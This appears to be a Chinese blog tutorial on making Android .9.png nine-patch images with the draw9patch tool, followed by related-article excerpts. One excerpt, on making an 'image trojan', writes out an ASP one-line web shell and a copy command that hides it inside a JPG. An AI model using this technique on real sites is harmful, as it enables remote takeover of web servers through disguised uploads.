.9 png图片的制作

在android开发的过程中我们经常因为没有好的美工图片失真,这样使界面看起来要逊色很多,有的时候可能我们会想在drawable-hdpi,ldpi,mdpi下放不同分辨率的图片,这样虽然可以有效避免图片失真,但是这样一是麻烦而是图片资源似的整个项目太大。所以有时候我们想要是有些图片可以拉伸而不失真多好啊,这时候我们就要想起android为我们提供的9.png格式的图片了,9.png格式的图片是安卓平台上新创的一种被拉伸却不失真的玩意。

学会了这种9PNG图片的制作,我们以后做项目的时候一些因为不同分辨率而失真的图片就可以使用这种方式了,下面看一下它的制作过程吧。

9PNG制作的工具我们不需要下载,因为android的sdk中已经自带了这个工具了,在tools目录下找到draw9patch.bat,双击会出现如图:

然后把我们想要制作的图片,直接拖动到上面的工具里面,会出现类似如下图:

将鼠标放在白色边框,点住左键不放拖动,会出现黑色线条如图:

1号黑色条位置向右覆盖的区域表示图片纵向拉伸时,只拉伸该区域

2号黑色条位置向下覆盖的区域表示图片横向拉伸时,只拉伸该区域

3号黑色条位置向左覆盖的区域表示图片纵向显示内容的区域(在手机上主要是文字区域)

4号黑色条位置向上覆盖的区域表示图片横向显示内容的区域(在手机上主要是文字区域)

没有黑色条的位置覆盖的区域是图片拉伸时保持不变(比如,如果图片的四角为弧形的时候,当图片被任意拉伸时,四角的弧形都不会发生改变)

右边3个红色图形区域为显示当前拉伸效果

选择好区域后,点击左上file-》save 9-path,保存图片,后缀名为xxx.9.png。这样就制作成功了,然后就可以把这张图片扔到drawable-hdpi相应的目录下了。

时间: 2024-08-28 19:54:19

.9 png图片的制作的相关文章

apng图片的制作原理

Apng(Animated PNG)是png的位图动画的扩展,实现png的动态效果,没有获得png的认可,之前的mng的图像格式,当时png主推的格式,但是其过多的浪费资源,所以被废弃. firefox一直支持apng现在支持的还有ios8. apng的动态图片的制作一般是分好几帧,第一部分的帧的结构是png格式的,在不支持apng格式的浏览器中,但是其第一帧总会显示. Apng样式实现的原理: 图是APNG的压缩原理. 这里简单一说它的原理.我们看到,这个示例中有三幅图片,其中IDAT为图像的

C# 通过ASHX保存上传的图片并制作高质量的缩略图的代码

如下的内容段是关于C# 通过ASHX保存上传的图片并制作高质量的缩略图的内容,应该能对小伙伴也有帮助. <%@ WebHandler Language="C#" Class="UploadFile" Debug="true" %> using System; using System.Web; public class UploadFile : IHttpHandler { public void Proce***equest(Htt

windows和ubuntu下gif动态图片的制作

现在社交软件中, 各种各样的动图为大家交流很大的乐趣.  Gif图片比视频小, 比静态JPG图片形象生动, 更适用于产品展示和步骤演示等. 这里简单介绍一下在window系统和ubuntu系统下gif图的制作. ubuntu系统 工具: kazam和ffmpeg kazam是linux下的一款简单但是功能强大的屏幕录制工具. 它可录制声音并选择全屏录制或局部区域录制. 安装方式: 在ubuntu上, 可以选择通过PPA安装. $ sudo add-apt-repository ppa:kazam

图片木马制作

主要亮点:图片木马(可以正常打开显示的木马) 先看代码:仅需几步:图片和一句话木马合并,制作可以正常显示的图片木马.1.找一张图片,名字改成1.jpg2.<%eval request(“a”)%>存为1.asp(就是一句话木马)3.copy 1.jpg /b + 1.asp /a asp.jpg 存为1.bat文件 注:以上三个文件放在同一目录里面 复制当前目录下的1.jpg图片和当前目录下的1.asp文件并以ASCII代码的方式合并为 asp.jpg图片,运行1.bat,就会出现一个图片as

Android .9.png图片的制作与使用

.9.png图片其实就是png格式图片,不过它比普通的png图片外围多了1px(像素)的边框,另外就是使用这种格式的图片可以实现背景自适应大小且不失真的效果.比如某些控件横竖屏切换后控件的样子就变形了,或者某些图片作为控件背景也变形,这会让人很郁闷.幸好.9.png图片可以提供这些需要的功能. 制作使用步骤: 1.制作属于你自己的png图片,一定要是png图片.可以自己PS制作,也可以解压其他应用的apk文件,用里面的图片资源,Android系统也有图片资源可以使用. 2.在android-sd

android .9图片的制作

android .9PNG图片制作 在android开发的过程中,我们经常因为没有好的美工图片失真,这样使界面看起来要逊色很多,有的时候可能我们会想在drawable-hdpi,ldpi,mdpi下放不同分辨率图片,这样虽然可以有效的避免图片失真,但是这样一是麻烦二是图片资源太大,所以我们用.9图片,.9图片格式是安卓平台上新创的一种被拉伸的却不失真的东西. 在android的sdk中已经自带了这个工具了,在tools目录下找到draw9patch.bat,双击打开,把要制作的png图片拖入里面

17_android_ .9.PNG图片的制作及使用

.9.png介绍说明   .9.PNG是安卓开发里面的一种特殊的图片,这种格式的图片通过ADT自带的编辑工具生成,使用九宫格切分的方法,使图片支持在android 环境下的自适应展示. 1.允许开发人员定义可扩展区域,当需要延伸图片以填充比图片本身更大区域时,可扩展区的内容被延展 2.允许开发人员定义内容显示区,用于显示文字或其他内容 总之一句话:.9.PNG是一种很有用的PNG图片格式,它可以在特定区域随文字大小进行缩放.   .9.png制作介绍   .9.png图片可以使用android自

返回顶部 和ico标题图片的制作

<link rel="shortcut icon" href="bitbug_favicon.ico">---比特虫ico网页快速制作<title>中国旅游发展局</title> <body> <a name="top"></a>----最顶端 <a href="#top">此处可以包住div层以及文字</a>

图片验证码制作

default.aspx里:包含点击图片更新的js代码 <%@ Page Language="C#" AutoEventWireup="true" CodeFile="Default3.aspx.cs" Inherits="Default3" %> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> &l